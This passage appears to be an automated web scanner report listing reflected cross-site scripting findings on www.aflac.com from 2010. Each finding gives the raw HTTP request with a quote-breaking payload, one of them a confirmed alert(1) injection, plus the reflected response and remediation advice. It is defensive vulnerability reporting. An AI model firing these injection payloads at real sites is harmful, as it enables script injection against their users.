<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/apps/404.aspx80e1f';b82586533d5'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
1.15. http://www.aflac.com/apps/404.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.aflac.com
Path:
/apps/404.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f3ce9'-alert(1)-'12a41e2810 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /apps/404.aspx?f3ce9'-alert(1)-'12a41e2810=1 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:39 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37881
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?f3ce9'-alert(1)-'12a41e2810=1'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6393'%3b83062d90fd was submitted in the REST URL parameter 1. This input was echoed as d6393';83062d90fd in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appsd6393'%3b83062d90fd/HaveAflacContactYou.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:29 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37642
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/appsd6393';83062d90fd/HaveAflacContactYou.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3);
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 75210'%3bf13de9bdd1f was submitted in the REST URL parameter 2. This input was echoed as 75210';f13de9bdd1f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /apps/HaveAflacContactYou.aspx75210'%3bf13de9bdd1f HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:33 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38175
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/apps/HaveAflacContactYou.aspx75210';f13de9bdd1f'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f7d0f'%3be55732aeb56 was submitted in the REST URL parameter 1. This input was echoed as f7d0f';e55732aeb56 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appsf7d0f'%3be55732aeb56/SendResume.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:33 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37634
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/appsf7d0f';e55732aeb56/SendResume.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashva ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45eb0'%3b6c38699cfe6 was submitted in the REST URL parameter 2. This input was echoed as 45eb0';6c38699cfe6 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /apps/SendResume.aspx45eb0'%3b6c38699cfe6 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:37 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38168
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/apps/SendResume.aspx45eb0';6c38699cfe6'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 81d5f'%3bd0fd6b03d18 was submitted in the REST URL parameter 1. This input was echoed as 81d5f';d0fd6b03d18 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /apps81d5f'%3bd0fd6b03d18/WriteUsForm.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:39 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37635
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps81d5f';d0fd6b03d18/WriteUsForm.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashv ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb5ba'%3b02ae4e22ebf was submitted in the REST URL parameter 2. This input was echoed as bb5ba';02ae4e22ebf in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /apps/WriteUsForm.aspxbb5ba'%3b02ae4e22ebf HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:43 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38154
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/apps/WriteUsForm.aspxbb5ba';02ae4e22ebf'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59197'%3b490ced2194a was submitted in the REST URL parameter 1. This input was echoed as 59197';490ced2194a in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brokers59197'%3b490ced2194a/whyaflac.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:38 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37614
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/brokers59197';490ced2194a/whyaflac.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 57d45'%3b2476ce2da52 was submitted in the REST URL parameter 2. This input was echoed as 57d45';2476ce2da52 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brokers/whyaflac.aspx57d45'%3b2476ce2da52 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:41 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37973
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/brokers/whyaflac.aspx57d45';2476ce2da52'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2a90'%3b5e9a213c8d1 was submitted in the REST URL parameter 1. This input was echoed as c2a90';5e9a213c8d1 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /businessc2a90'%3b5e9a213c8d1/whyaflac.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:36 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37636
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/businessc2a90';5e9a213c8d1/whyaflac.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload df749'%3bcc2668e2d6b was submitted in the REST URL parameter 2. This input was echoed as df749';cc2668e2d6b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /business/whyaflac.aspxdf749'%3bcc2668e2d6b HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:39 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38161
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/business/whyaflac.aspxdf749';cc2668e2d6b'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77e25'%3ba637735921c was submitted in the REST URL parameter 1. This input was echoed as 77e25';a637735921c in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers77e25'%3ba637735921c/NavigationCSS.ashx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:17 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37625
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/handlers77e25';a637735921c/NavigationCSS.ashx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flas ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bd430'%3b63dc19d4cce was submitted in the REST URL parameter 2. This input was echoed as bd430';63dc19d4cce in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/NavigationCSS.ashxbd430'%3b63dc19d4cce HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:21 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38171
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/handlers/NavigationCSS.ashxbd430';63dc19d4cce'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 619ea'%3b59fe1ec7757 was submitted in the REST URL parameter 1. This input was echoed as 619ea';59fe1ec7757 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers619ea'%3b59fe1ec7757/ResourceLoader.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:26 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37626
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/handlers619ea';59fe1ec7757/ResourceLoader.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); fla ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8497'%3b43c4ae922cf was submitted in the REST URL parameter 2. This input was echoed as c8497';43c4ae922cf in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/ResourceLoader.aspxc8497'%3b43c4ae922cf HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:30 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38189
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
